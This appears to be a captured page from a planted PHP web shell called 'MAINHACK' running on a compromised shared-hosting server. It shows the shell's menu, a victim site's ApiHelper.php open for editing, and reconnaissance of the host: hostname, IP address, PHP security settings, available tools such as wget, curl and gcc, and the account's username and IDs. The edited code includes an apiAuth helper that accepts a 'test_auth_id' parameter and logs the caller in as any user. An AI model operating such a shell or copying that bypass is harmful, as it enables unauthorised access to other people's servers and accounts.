[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ApiHelper.php
<?php use App\Api\Response; use App\Api\Request; use App\Models\Api\UserFirebaseSessions; use Kreait\Firebase\Messaging\CloudMessage; function validateParam($request_input, $rules, $somethingElseIsInvalid = null) { $request = new Request(); return $request->validateParam($request_input, $rules, $somethingElseIsInvalid); } function apiResponse2($success, $status, $msg, $data = null, $title = null) { $response = new Response(); return $response->apiResponse2($success, $status, $msg, $data, $title); } function apiAuth() { if (request()->input('test_auth_id')) { return App\Models\Api\User::find(request()->input('test_auth_id')) ?? die('test_auth_id not found'); } return auth('api')->user(); } function nicePrice($price) { $nice = handlePrice($price, false); if (is_string($nice)) { $nice = (float)$nice; } return round($nice, 2); } function nicePriceWithTax($price) { if (empty($price) or $price == 0) { return [ "price" => 0, "tax" => 0 ]; } // return round(handlePrice($price, true,false,true), 2); $nice = handlePrice($price, false, false, true); if ($nice === 0) { return [ "price" => 0, "tax" => 0 ]; } return $nice; } function handleSendFirebaseMessages($user_id, $group_id, $sender, $type, $title, $message) { $fcmTokens = UserFirebaseSessions::where('user_id', $user_id) ->select('fcm_token')->get()->all(); $deviceTokens = []; foreach ($fcmTokens as $fcmToken) { $deviceTokens[] = $fcmToken->fcm_token; } if (count($deviceTokens) > 0) { $messageFCM = app('firebase.messaging'); foreach ($deviceTokens as $fcmToken) { $fcmMessage = CloudMessage::withTarget('token', $fcmToken); $fcmMessage = $fcmMessage->withNotification([ 'title' => $title, 'body' => preg_replace('/<[^>]*>/', '', $message) ]); $fcmMessage = $fcmMessage->withData([ 'user_id' => $user_id, 'group_id' => $group_id, 'title' => $title, 'message' => preg_replace('/<[^>]*>/', '', $message), 'sender' => $sender, 'type' => $type, 'created_at' => time() ]); $fcmMessage = $fcmMessage->withAndroidConfig(\Kreait\Firebase\Messaging\AndroidConfig::fromArray([ 'ttl' => '3600s', 'priority' => 'high', 'notification' => [ 'color' => '#f45342', 'sound' => 'default', ], ])); try { $messageFCM->send($fcmMessage); } catch (\Exception $exception) { } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285